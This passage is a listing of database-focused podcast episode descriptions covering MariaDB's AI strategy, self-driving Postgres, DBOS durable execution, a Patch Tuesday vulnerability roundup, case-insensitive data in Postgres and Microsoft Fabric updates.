his perspective on market trends, from the shift away from embedded AI and traditional machine learning features toward LLM-powered applications, to the growing number of companies moving from NoSQL back to SQL for scalability and long-term maintainability. This is a deep dive into the strategy, technology and market forces shaping MariaDB's next chapter. It will be of interest to database architects, AI engineers, and technology leaders looking for insight into how an open-source veteran is reinventing itself for the AI era while challenging the biggest names in the industry.

Nikolay and Michael discuss self-driving Postgres — what it could mean, using self-driving cars as a reference, and ideas for things to build and optimize for in this area. Here are some links to things they mentioned:Nikolay's blog post on Self-driving Postgres https://postgres.ai/blog/20250725-self-driving-postgresSAE J3016 levels of driving automation https://www.sae.org/news/2019/01/sae-updates-j3016-automated-driving-graphicOracle Autonomous Database https://www.oracle.com/uk/autonomous-database/Self-Driving Database Management Systems (2017 paper) https://db.cs.cmu.edu/papers/2017/p42-pavlo-cidr17.pdfPGTune https://pgtune.leopard.in.ua/pg_index_pilot https://gitlab.com/postgres-ai/pg_index_pilot/[Vibe] Hacking Postgres with Andrey, Kirk, Nik – index bloat, btree page merge https://www.youtube.com/watch?v=D1PEdDcvZTw~~~What did you like or not like? What should we discuss next time? Let us know via a YouTube comment, on social media, or by commenting on our Google doc!~~~Postgres FM is produced by:Michael Christofides, founder of pgMustardNikolay Samokhvalov, founder of Postgres.aiWith credit to:Jessie Draws for the elephant artwork

When your only tool is a hammer - everything looks like a nail.2 of these database I'm sure you've heard and 2 might be completely new to you.Let's go past MongoDB and SQL to learn what tool is best for what job and what's the database choice for AI in 2025.If you're interested in learning SQL, check out this episode: https://open.spotify.com/show/69BHCbRAl6rHT9LlNhFWUySend us a textShameless Plugs

Qian Li of DBOS, a durable execution platform born from research by the creators of Postgres and Spark, speaks with host Kanchan Shringi about building durable, observable, and scalable software systems, and why that matters for modern applications. They discuss database-backed program state, workflow orchestration, real-world AI use cases, and comparisons with other workflow technologies. Li explains how DBOS persists not just application data but also program execution state in Postgres to enable automatic recovery and exactly-once execution. She outlines how DBOS uses workflow and step annotations to build deterministic, fault-tolerant flows for everything from e-commerce checkouts to LLM-powered agents. Observability features, including SQL-accessible state tables and a time-travel debugger, allow developers and business users to understand and troubleshoot system behavior. Finally, she compares DBOS with tools like Temporal and AWS Step Functions. Brought to you by IEEE Computer Society and IEEE Software magazine.

Join Automox cybersecurity experts Ryan Braunstein and Mat Lee for August 2025's Patch [FIX] Tuesday, covering a Hyper-V privilege escalation, an Azure Virtual Machines spoofing flaw, and four serious SQL Server vulnerabilities. Learn how attackers could chain virtualization and cloud exploits, why crafted VHDX files and spoofed certificates are dangerous, and the ongoing threat of SQL injection. Includes recommendations for hardening databases, improving certificate management, and reducing lateral movement risks in virtualized environments.

Nikolay and Michael discuss case-insensitive data — when we want to treat columns as case-insensitive, and the pros and cons of using citext, functions like lower(), or a custom collation. Here are some links to things they mentioned:citext https://www.postgresql.org/docs/current/citext.htmlOur episode on over-indexing https://postgres.fm/episodes/over-indexingNondeterministic collations https://www.postgresql.org/docs/current/collation.html#COLLATION-NONDETERMINISTICHow to migrate from Django's PostgreSQL CI Fields to use a case-insensitive collation (blog post by Adam Johnson) https://adamj.eu/tech/2023/02/23/migrate-django-postgresql-ci-fields-case-insensitive-collationThe collation versioning problem with ICU 73 (blog post by Daniel Vérité) https://postgresql.verite.pro/blog/2023/10/20/icu-73-versioning.htmlamcheck https://www.postgresql.org/docs/current/amcheck.html~~~What did you like or not like? What should we discuss next time? Let us know via a YouTube comment, on social media, or by commenting on our Google doc!~~~Postgres FM is produced by:Michael Christofides, founder of pgMustardNikolay Samokhvalov, founder of Postgres.aiWith credit to:Jessie Draws for the elephant artwork

This is episode 300 recorded on July 31st, 2025, where John & Jason talk the Microsoft Fabric July 2025 Feature Summary including tags in Fabric Domains, Fabric Data Agent integration with Microsoft Copilot Studio, enhancements to Activator, manual control of Auto-Refresh in pipelines, and CosmosDB in preview now in Fabric. For show notes please visit www.bifocal.show